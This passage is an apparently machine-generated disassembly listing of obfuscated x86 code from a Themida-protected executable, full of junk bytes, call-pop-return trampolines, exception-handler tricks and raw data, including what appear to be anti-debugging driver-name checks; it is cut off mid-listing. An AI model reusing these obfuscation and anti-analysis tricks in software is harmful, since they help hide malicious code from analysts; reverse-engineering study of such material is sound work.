		dd 6F6B6C06h, 79E519CAh, 0E01A88B4h, 0DD79BF82h, 61592452h
		dd 24247C81h, 10000000h, 0EE870Fh, 0B5890000h, 60E1F65h
		dd 0CF816660h, 81664C9Ah, 61DAB7F3h, 8B666050h,	48961F3h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 4850DF24h, 448BD7AEh, 6A2824h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 28B11AC3h
		dd 6085CCCAh, 28A0Fh, 61600000h, 88DB531h, 5061060Eh, 0EE9h
		dd 337FC000h, 969A592Eh, 0FD15C4Ah, 8997BAF7h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0C3A14DC3h, 2EB7C260h, 89C1C6B5h, 0E2CFDB5h,	858DF806h
		dd 61147D4h, 68E0Fh, 8D890000h,	60E2091h, 6AD0FFh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 7E56FFC3h, 7D8D8960h, 61060E16h, 24244403h, 34A5BD89h
		dd 4489060Eh, 6A1C24h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 887D86C3h, 0CC3149CDh, 891B335Ah
		dd 0E24AD8Dh, 1185C606h, 60E2Fh, 70B585C7h, 611h, 85C70000h
		dd 6116F65h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	loc_581437
		and	[edi-3Dh], bl


loc_581437:				; CODE XREF: sub_5800E1+134Ep
		pop	edi
		mov	[esp+40h+var_3C], edi
		add	[esp+40h+var_3C], 14h
		inc	edi
		push	edi
		retn
; ---------------------------------------------------------------------------
		db 39h
; ---------------------------------------------------------------------------
		jge	loc_58145A
		jle	loc_58145A
		sub	[ebp+60E2E9Dh],	ecx


loc_58145A:				; CODE XREF: sub_5800E1+1367j
					; sub_5800E1+136Dj
		xor	[ebp+60E20A1h],	ebx
		popa
		pusha
		push	ebx
		movzx	ebx, ax
		pop	edi
		mov	ah, 95h
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_581478
; ---------------------------------------------------------------------------
		dw 7D4Ah
		dd 319026A4h
; ---------------------------------------------------------------------------


loc_581478:				; CODE XREF: sub_5800E1+C5Dj
					; sub_5800E1+138Cj
		mov	eax, [ebp+60E1A25h]
		push	0
		push	ebp
		call	loc_581489
		and	[ebp-3Dh], bl


loc_581489:				; CODE XREF: sub_5800E1+13A0p
		pop	ebp
		mov	[esp+38h+var_34], ebp
		add	[esp+38h+var_34], 19h
		inc	ebp
		push	ebp
		retn
; ---------------------------------------------------------------------------
		db 0ACh, 0EFh, 0B2h
		dd 0F414662h, 148Ah, 0FE900h, 14690000h, 0EA22BF7Ah, 4C9D8E62h
		dd 8B30FDB4h, 6A4ABFh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 896006C3h, 0E2D35B5h, 0CE906h, 2BBC0000h
		dd 0D45FE636h, 2251BB75h, 0F56164BCh, 6A04D26Bh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 6561C357h, 0E9931940h, 7, 37F00658h,	307207Fh, 55006AC2h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0C95546FEh, 0FC96FC7Ah, 52006AADh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0FA7EB0E8h
		dd 1E008CD0h, 10E9E0A7h, 0C7000000h, 606A9178h,	70B66C63h
		dd 16A764D5h, 0F94828CFh, 24247C81h, 10000000h,	104870Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0F566CAC3h, 144EE076h, 896084A1h,	0E2305BDh
		dd 0CE95106h, 0BA000000h, 8D62A347h, 4420C612h,	5F3B89FCh
		dd 0AD858961h, 50060E0Dh, 81BB6660h, 0EE97Dh, 5E40000h
		dd 68633CF0h, 846A1DF7h, 0ADB3DE91h, 24048961h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DAC35646h, 6880Fh
		dd 0B5010000h, 60E3215h, 24448BF5h, 59D8928h, 0F060E34h
		dd 683h, 7D9D3100h, 90060E33h, 168F0Fh,	60600000h, 0DE961h
		dd 0AF460000h, 0A08C7017h, 0B294BF1Ch, 6167B5A9h, 0CE950h
		dd 541C0000h, 0E1549DE6h, 0A6FA1CADh, 190174Ch,	0E046595h
		dd 0D4858D06h, 6A061147h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 3B1EC353h, 5BF4D1F3h
		dd 0FF9F10DDh, 41E9F8D0h, 6AFFFFFDh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0EF2DC355h
		dd 68E0F4Dh, 1000000h, 0E242D85h
; ---------------------------------------------------------------------------
		push	es


loc_5816C1:				; CODE XREF: sub_5800E1:loc_580565j
		lea	eax, [ebp+6118405h]
		push	0
		push	ecx
		call	sub_5816D2
		and	[ecx-3Dh], bl
sub_5800E1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5816D2	proc near		; CODE XREF: sub_5800E1+15E9p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5816D2	endp

; ---------------------------------------------------------------------------
		std
		jo	short near ptr loc_5816F6+1
		mov	edx, ecx
		fdiv	qword ptr [eax+0A7D9531h]
		push	cs
		push	es
		push	eax
		jz	loc_581701


loc_5816F6:				; CODE XREF: Themida_:005816E3j
		jmp	loc_581701
; ---------------------------------------------------------------------------
		db 63h
		dd 99C4614Fh
		db 39h
; ---------------------------------------------------------------------------


loc_581701:				; CODE XREF: Themida_:005816F0j
					; Themida_:loc_5816F6j
		mov	[esp], eax
		pusha
		jmp	loc_58171D
; ---------------------------------------------------------------------------
		and	al, bl
		wait
		wait
		xor	ecx, [edx+733B9E4Eh]
		sbb	ebp, 0FFFFFF88h
		lodsd
		cmp	eax, 48FCF5C4h


loc_58171D:				; CODE XREF: Themida_:00581705j
		push	eax
		jmp	loc_581733
; ---------------------------------------------------------------------------
		db 2Bh
		dd 0BCFF0CE7h, 2E104653h, 6499B9B8h
; ---------------------------------------------------------------------------
		sub	ebx, esi
		movsd


loc_581733:				; CODE XREF: Themida_:0058171Ej
		pop	edx
		popa
		push	large dword ptr	fs:0
		push	0
		push	edi
		call	sub_581747
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581747	proc near		; CODE XREF: Themida_:0058173Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_581747	endp

; ---------------------------------------------------------------------------
		db 0DBh
		db 0CCh
		db 44h,	0E8h, 91h
; ---------------------------------------------------------------------------
		cli
		stc
		jb	loc_58176A
		mov	[ebp+60E3329h],	eax


loc_58176A:				; CODE XREF: Themida_:0058175Ej
		mov	eax, [esp]
		clc
		mov	[ebp+60E3505h],	eax
		push	0
		push	edi
		call	sub_58177F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58177F	proc near		; CODE XREF: Themida_:00581777p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_58177F	endp

; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		xor	ah, [edx-78F7BF12h]
		mov	large fs:0, esp
		push	0
		push	edi
		call	sub_5817A8
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5817A8	proc near		; CODE XREF: Themida_:005817A0p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5817A8	endp

; ---------------------------------------------------------------------------
		stc
		scasd
		sub	byte ptr [edx+9], 5Fh
		ror	dword ptr [eax-77h], 1
		mov	ebp, 60E0D21h
		lea	eax, [ebp+6118246h]
		push	0
		push	ebx
		call	sub_5817D7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5817D7	proc near		; CODE XREF: Themida_:005817CFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5817D7	endp

; ---------------------------------------------------------------------------
		and	edi, ebp
		adc	eax, 263377D5h
		pusha
		jmp	loc_581801
; ---------------------------------------------------------------------------
		dd 4F285CF3h, 1D74245Ch, 0AFF9EF59h
		db 80h
; ---------------------------------------------------------------------------


loc_581801:				; CODE XREF: Themida_:005817EFj
		cld
		popa
		sub	[ebp+60E30D9h],	edi
		mov	[eax+1], esp
		push	0
		push	esi
		call	sub_581817
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581817	proc near		; CODE XREF: Themida_:0058180Fp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_581817	endp

; ---------------------------------------------------------------------------
		fdivr	st, st
		jmp	loc_581A2E
; ---------------------------------------------------------------------------
		mov	[ebp+60E1839h],	edi
		mov	ebx, ebx
		call	$+5
		pop	ebp
		sub	ebp, 611823Fh
		mov	esp, 12FF9Ch
		cmp	dword ptr [ebp+60E3465h], 0
		jz	short loc_581868
		mov	eax, [ebp+60E07D1h]
		mov	byte ptr [eax],	0
		mov	eax, [ebp+60E293Dh]
		mov	byte ptr [eax],	0
		call	dword ptr [ebp+60E2E5Dh]


loc_581868:				; CODE XREF: Themida_:0058184Ej
		pusha
		push	dword ptr [ebp+6116B69h]
		lea	eax, [ebp+6116B6Dh]
		push	eax
		lea	eax, [ebp+6116D65h]
		push	eax
		call	dword ptr [ebp+60E2501h]
		add	esp, 0Ch
		popa
		push	0
		push	eax
		call	sub_581892
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581892	proc near		; CODE XREF: Themida_:0058188Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_581892	endp

; ---------------------------------------------------------------------------
		dw 0FB34h
		dd 373BB1Fh, 0EE9h, 246ABD00h, 7B447DAAh, 0E9FFDFD9h, 60ED5DB1h
		dd 19F9B589h, 8166060Eh, 61CBE6CFh, 6D65B58Dh, 8DF50611h
		dd 0E2571BDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 7E9A6h, 72960000h, 8F4FD11Ch, 3E80B2h
		dd 39840Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 160424h, 56460000h, 0BE0EE3C3h, 6850Fh, 95310000h, 60E2459h
		dd 31F8A4F9h, 0E0AA5BDh, 0FFBFE906h, 0B8F5FFFFh, 0
; ---------------------------------------------------------------------------
		jnb	loc_581952
		jnb	loc_581952
		pusha
		popa


loc_581952:				; CODE XREF: Themida_:00581944j
					; Themida_:0058194Aj
		stosb
		push	0
		push	edx
		call	sub_58195E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58195E	proc near		; CODE XREF: Themida_:00581956p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_58195E	endp

; ---------------------------------------------------------------------------
		dw 0ACB4h
		dd 4A8ED918h, 10E9FCh, 94570000h, 48AD956Ah, 0F901B165h
		dd 7F1A41F9h, 7B8F2EDh,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 7701C357h
		dd 4E3299BFh, 29604ED6h, 0E0B2585h, 85C76106h, 60E1021h
		dd 1, 6DBD8960h, 89060E25h, 0E0A8D9Dh, 8D8D6106h, 60E4DD1h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9DC35343h
		dd 0BD0C2D9Bh, 0A117167Fh, 0F5E1FF25h, 245C8BF9h, 0E8550Ch
		dd 5D000000h, 840FED81h, 838B0611h, 0B8h, 6B698589h, 858D0611h
		dd 6118238h, 0B88389h, 335D0000h
		db 0C0h, 0C3h
; ---------------------------------------------------------------------------


loc_581A2E:				; CODE XREF: Themida_:00581829j
		cld
		jns	loc_581A43
		pusha
		xor	edi, 38560DC8h
		jnp	$+6
		popa


loc_581A43:				; CODE XREF: Themida_:00581A2Fj
		pusha
		mov	edx, ebx
		movsx	edx, dx
		popa
		pusha
		jmp	loc_581A56
; ---------------------------------------------------------------------------
		push	eax
		retf	7184h
; ---------------------------------------------------------------------------
		db 9, 34h
; ---------------------------------------------------------------------------


loc_581A56:				; CODE XREF: Themida_:00581A4Bj
		lea	eax, [ebp+61186E7h]
		push	0
		push	edi
		call	sub_581A67
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581A67	proc near		; CODE XREF: Themida_:00581A5Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_581A67	endp

; ---------------------------------------------------------------------------
		and	[esi+ebp*2-3C75799Ch], bl
		jmp	loc_581A8E
; ---------------------------------------------------------------------------
		db 0B7h
; ---------------------------------------------------------------------------
		and	dh, dl
		inc	dword ptr [edx]
		aaa
		and	ebx, edi
		mov	ah, [esi]
		scasb


loc_581A8E:				; CODE XREF: Themida_:00581A7Ej
		nop
		jl	loc_581AAB
		jmp	loc_581AAB
; ---------------------------------------------------------------------------
		dw 2332h
		dd 0CA21C4A9h, 0AA9C3CBBh, 287764A5h
; ---------------------------------------------------------------------------
		inc	eax
		add	ah, [edx]


loc_581AAB:				; CODE XREF: Themida_:00581A8Fj
					; Themida_:00581A95j
		push	eax
		jmp	loc_581AB9
; ---------------------------------------------------------------------------
		db 0F3h, 99h, 4Eh
; ---------------------------------------------------------------------------
		xor	ecx, [edi-4Fh]
		retf
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_581AB9:				; CODE XREF: Themida_:00581AACj
		nop
		mov	[ebp+60E0BC9h],	edi
		push	large dword ptr	fs:0
		mov	[ebp+60E038Dh],	edi
		mov	large fs:0, esp
		push	0
		push	eax
		call	sub_581ADF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581ADF	proc near		; CODE XREF: Themida_:00581AD7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Dh
		inc	eax
		push	eax
		retn
sub_581ADF	endp

; ---------------------------------------------------------------------------
		db 3Dh
		dd 0D4B504F0h, 6792D76Bh, 0BE91Ch, 0DC1F0000h, 8E76AB46h
		dd 5F4DD9A9h, 63858DF5h, 6A061187h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E942C352h
		dd 0Eh,	3D768860h, 176D8D1Fh, 29582B5Eh, 60891AE2h, 8E901h
		dd 0D4D10000h, 58598C97h, 85C659D7h, 60E2F11h, 51006A4Fh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 60BF76FAh, 7369BF66h, 158D0Fh, 10E90000h, 59000000h
		dd 69AAD83Dh, 0E55712A4h, 4BEC5CD7h, 61DBBA33h,	4E8h, 0C8742A00h
		dd 15850FFEh, 0F000000h, 0F88h,	0AE900h, 0A92B0000h, 7ECF3CFCh
		dd 0FFF159Fh, 5AB46050h, 24448B61h, 0E9566004h,	8, 0DCAE7FC5h
		dd 0E6541C07h, 0C38B665Bh, 60008B61h, 13E8h, 0C734EF00h
		dd 9E139BBBh, 0AEC94166h, 0BCBFB4C6h, 6E3DFF93h, 5AD68B66h
		dd 10E8h, 0DA8D800h, 883B5D1Fh,	41B2DCCBh, 6A9B441Dh, 585F5352h
		dd 24448961h, 0E8E0F04h, 50000000h, 0F525052h, 0F585A31h
		dd 5A616031h, 6A5858h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 56F7FBC3h, 0E4C87D46h, 89F91B5Ah
		dd 0E18B58Dh, 3DB5FF06h, 0F060E0Ch, 68Bh, 699D0100h, 8D060E2Fh
		dd 116F7485h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 1FF1E07Fh, 8E9h, 9EE84B00h, 331B112Dh
		dd 6AD0FF0Ah, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 68F8C355h, 92ADE732h, 0E90BD415h
		dd 9Fh,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah
		dd 0E9C35242h, 0BD7F6A66h, 8BF9E7A0h, 550C245Ch, 0E8h
		dd 0ED815D00h, 61186F1h, 19F5858Bh, 8589060Eh, 60E0C3Dh
		dd 3031858Bh, 8589060Eh, 60E0C59h, 32E1858Bh, 8589060Eh
		dd 60E34B5h, 2F1185C6h,	0C700060Eh, 1170B585h, 6, 63858D00h
		dd 89061187h, 0B883h, 0C0335D00h, 29BD29C3h, 0F060E19h
		dd 1487h, 81666000h, 0E9420FC9h, 8, 12E08A65h, 76053A1Bh
		dd 0F59D8961h, 0BC060E1Ah, 12FF74h, 0BE9h, 66E30400h, 201A48BCh
		dd 9EFF1E48h, 58F64h, 31000000h, 0E0939B5h, 4C48306h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B8C35545h, 83E961F8h
		dd 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h, 68850F5Ah
		dd 0F000000h, 33C43B7h,	3B8166D8h, 850F4550h, 57h, 3785B8Bh
		dd 8B1C245Ch, 74032473h, 8B561C24h, 738B207Bh, 247C031Ch
		dd 24740320h, 0C983FC20h, 5C8B41FFh, 178B1C24h,	20245403h
		dd 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h,	75033AF2h
		dd 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h, 5B595A5Eh
		dd 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 464934EBh, 52474D53h
		dd 4B562020h, 20202044h, 4D562020h, 2020204Dh, 57562020h
		dd 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0)
		dd 72E90000h, 60000007h, 0D7816652h, 615AE7D4h,	85C7F960h
		dd 611885Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_581E87
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581E87	proc near		; CODE XREF: Themida_:00581E7Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_581E87	endp

; ---------------------------------------------------------------------------
		db 15h
		dd 2820F60h, 60000000h,	0CE861h, 877E0000h, 0E5821F0Ch
		dd 0FD5C9614h, 8F0FA628h, 0
; ---------------------------------------------------------------------------
		pop	esi
		popa
		pusha
		mov	bh, ch
		mov	edi, 357ED9B9h
		popa
		mov	eax, esi
		clc
		jle	loc_581ED3
		jge	loc_581ED3
		cld


loc_581ED3:				; CODE XREF: Themida_:00581EC6j
					; Themida_:00581ECCj
		movzx	ebx, ax
		jmp	loc_581EED
; ---------------------------------------------------------------------------
		db 0F6h
		dd 980B8ADEh, 2A442620h, 5D012DCEh, 0DFE0AD7Dh
		db 0BCh
; ---------------------------------------------------------------------------


loc_581EED:				; CODE XREF: Themida_:00581ED6j
		shr	eax, 10h
		pusha
		push	esi
		jmp	loc_581F01
; ---------------------------------------------------------------------------
		db 3Fh
		dd 0A5DFDFF9h, 0DE7DD447h
; ---------------------------------------------------------------------------
		inc	edi


loc_581F01:				; CODE XREF: Themida_:00581EF2j
		pop	edx
		mov	edi, esi
		popa
		ror	ax, 8
		pusha
		jmp	loc_581F1C
; ---------------------------------------------------------------------------
		db 41h
		dd 0A4B94DBBh, 410C9122h, 7D9F1637h
; ---------------------------------------------------------------------------


loc_581F1C:				; CODE XREF: Themida_:00581F0Aj
		call	sub_581F2C
		hlt
; ---------------------------------------------------------------------------
		dw 7C96h
; ---------------------------------------------------------------------------
		mov	al, 82h
		add	[ecx+ebp*2-62h], dh
		jl	short loc_581FA4

; =============== S U B	R O U T	I N E =======================================



sub_581F2C	proc near		; CODE XREF: Themida_:loc_581F1Cp
		mov	di, si
		pop	ecx
		popa
		mov	[ebp+611885Eh],	eax
		pusha
		or	bh, 8Eh
		jmp	loc_581F45
; ---------------------------------------------------------------------------
		dd 2E2AA481h
		db 0B2h
; ---------------------------------------------------------------------------


loc_581F45:				; CODE XREF: sub_581F2C+Fj
		popa
		ror	bx, 8
		push	0
		push	ebp
		call	sub_581F55
		and	[ebp-3Dh], bl
sub_581F2C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_581F55	proc near		; CODE XREF: sub_581F2C+21p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_581F55	endp

; ---------------------------------------------------------------------------
		db 22h,	0F3h, 2Eh
		dd 0D1910119h, 40FB83F5h, 8D850Fh, 0E8600000h, 0Ch, 3BFEF5FEh
		dd 0BE833E13h, 0A3A72742h, 6D8D881h, 0E95E634Ch, 0Fh, 70B24566h
		dd 8D13E011h, 169B1099h, 61C62C9Bh
; ---------------------------------------------------------------------------


loc_581FA4:				; CODE XREF: Themida_:00581F2Aj
		lea	edi, [ebp+6118832h]
		jmp	loc_581FBD
; ---------------------------------------------------------------------------
		db 0F9h
		dd 0ED7F1A41h, 9B03F0F2h, 63739BDBh
		db 0D1h
; ---------------------------------------------------------------------------


loc_581FBD:				; CODE XREF: Themida_:00581FAAj
		ja	loc_581FD4
		pusha
		sub	dx, 75A9h
		jmp	loc_581FD3
; ---------------------------------------------------------------------------
		xchg	edi, [esi+7]
		pop	esi
		wait


loc_581FD3:				; CODE XREF: Themida_:00581FC9j
		popa


loc_581FD4:				; CODE XREF: Themida_:loc_581FBDj
		jmp	loc_582134
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_581FE4
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_581FE4	proc near		; CODE XREF: Themida_:00581FDCp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_581FE4	endp

; ---------------------------------------------------------------------------
		aas
		jnb	loc_582002
		jnp	loc_582002
		cmc


loc_582002:				; CODE XREF: Themida_:00581FF5j
					; Themida_:00581FFBj
		clc
		cmp	ebx, 0Dh
		jnz	loc_58208C
		cld
		lea	edi, [ebp+611883Ah]
		push	0
		push	ebx
		call	sub_58201E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58201E	proc near		; CODE XREF: Themida_:00582016p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_58201E	endp

; ---------------------------------------------------------------------------
		dw 0B857h
; ---------------------------------------------------------------------------
		jge	loc_582037
		cld


loc_582037:				; CODE XREF: Themida_:00582030j
		jmp	loc_582047
; ---------------------------------------------------------------------------
		dd 79C0E39Eh, 0D2B27F39h
		db 9Bh,	28h, 84h
; ---------------------------------------------------------------------------


loc_582047:				; CODE XREF: Themida_:loc_582037j
		pusha
		jnz	loc_58204F
		cmc


loc_58204F:				; CODE XREF: Themida_:00582048j
		cld
		popa
		jmp	loc_582134
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_582061
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_582061	proc near		; CODE XREF: Themida_:00582059p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ch
		inc	edi
		push	edi
		retn
sub_582061	endp

; ---------------------------------------------------------------------------
		mov	ebp, 0FCCB6827h
		mov	dl, 48h
		clc
		jmp	loc_58208B
; ---------------------------------------------------------------------------
		db 8Dh
		dd 0D885A515h, 11222462h
		db 42h,	0F0h, 33h
; ---------------------------------------------------------------------------


loc_58208B:				; CODE XREF: Themida_:0058207Aj
		cld


loc_58208C:				; CODE XREF: Themida_:00582006j
		cmp	ebx, 1
		jnz	loc_5820E9
		ja	loc_58209C
		cmc


loc_58209C:				; CODE XREF: Themida_:00582095j
		lea	edi, [ebp+6118842h]
		push	0
		push	ebx
		call	sub_5820AD
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5820AD	proc near		; CODE XREF: Themida_:005820A5p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5820AD	endp

; ---------------------------------------------------------------------------
		db 40h,	5, 0E9h
		dd 0Fh,	2C1F16B7h, 0AC22A18Ah, 5287B46Eh, 0E9C88D90h, 5Ch
		dd 0CE9h, 73DC5A00h, 0D4CFF2D2h, 31936EA5h
; ---------------------------------------------------------------------------
		xchg	eax, esi


loc_5820E9:				; CODE XREF: Themida_:0058208Fj
		cmp	ebx, 2Ah
		jnz	loc_582108
		clc
		lea	edi, [ebp+611884Ah]
		pusha
		sub	ax, 46CDh
		mov	edx, esi
		popa
		jmp	loc_582134
; ---------------------------------------------------------------------------
		cmc


loc_582108:				; CODE XREF: Themida_:005820ECj
		cmp	ebx, 27h
		jnz	loc_582462
		pusha
		sbb	ebx, 4F771019h
		js	loc_582124
		jle	$+6


loc_582124:				; CODE XREF: Themida_:00582118j
		popa
		lea	edi, [ebp+6118852h]
		pusha
		mov	di, 447Ah
		add	cl, 0BBh
		popa


loc_582134:				; CODE XREF: Themida_:loc_581FD4j
					; Themida_:00582051j ...
		mov	[ebp+6118862h],	edi
		pusha
		sbb	bx, 0A321h
		or	cx, 6765h
		popa
		jmp	loc_582156
; ---------------------------------------------------------------------------
		dec	eax
		les	edx, [esi-4DE6CE34h]
		cld
		jmp	fword ptr [edx+ebp*2]
; ---------------------------------------------------------------------------


loc_582156:				; CODE XREF: Themida_:00582146j
		mov	ax, cs
		js	loc_582177
		jmp	loc_582177
; ---------------------------------------------------------------------------
		dd 14F9B244h, 62D6CA0Ah, 9144E342h, 8624C61Eh
; ---------------------------------------------------------------------------
		dec	edx
		sub	al, 87h


loc_582177:				; CODE XREF: Themida_:00582159j
					; Themida_:0058215Fj
		and	al, 3
		stc
		or	al, al
		jnz	loc_58238E
		push	0
		push	ebp
		call	sub_58218D
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58218D	proc near		; CODE XREF: Themida_:00582185p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_58218D	endp

; ---------------------------------------------------------------------------
		db 0D2h, 42h, 73h
		dd 6FEF9FF8h, 8D1B18CEh, 118EBBB5h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 438974E0h
		dd 3D858B9Bh, 0F06118Fh, 185h, 6050F800h, 9E9h,	13ABC900h
		dd 62128AEh, 8961803Fh,	0CE92414h, 2C000000h, 0D549C922h
		dd 38C01C33h, 0F091599h, 0FE244C01h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 89C35343h, 5C556B62h, 0FCD90D6Ah
		dd 19860F5Ah, 0E9000000h, 14h, 0A00D3B00h, 29C4F1D7h, 0D0F47D6h
		dd 0D0FF502Ch, 61D1D69Bh, 11E960h, 60C10000h, 0F6493810h
		dd 0E0963092h, 0FBEEFFAEh, 0E9A4F279h, 0Eh, 0C14D5359h
		dd 63ED9637h, 17623DABh, 8361DD4Dh, 6A24C2h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0B745ADC3h
		dd 0F7B0370Bh, 8966CDF5h, 11E9FC72h, 81000000h,	6434DED8h
		dd 80E9FC24h, 0A0C692E4h, 90395096h, 6A10CEC1h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 8B11C353h, 7790BCCEh, 44BFCC84h, 7E9h, 137C6700h, 6BA6B369h
		dd 2728966h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	1CC35545h, 0D4F48C64h, 0C4FB6B08h, 0C870F1Bh, 0E9000000h
		dd 7, 0DCFAF2FFh, 6018C913h, 5BD88B53h,	6135C980h, 800F04CDh
		dd 15h,	10E9h, 0EE04D300h, 9EA873F2h, 8A83EA6Dh, 0C757B43Eh
		dd 0EAE9E4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0B6DD39C3h, 68A0FA7h, 60000000h
		dd 5E525B57h, 10E961h, 6F350000h, 0FED67E74h, 283E9696h
		dd 28D71151h
		db 0A0h, 0D8h
; ---------------------------------------------------------------------------


loc_58238E:				; CODE XREF: Themida_:0058217Cj
		mov	eax, [ebp+6118F3Dh]
		push	0
		push	ebp
		call	sub_58239F
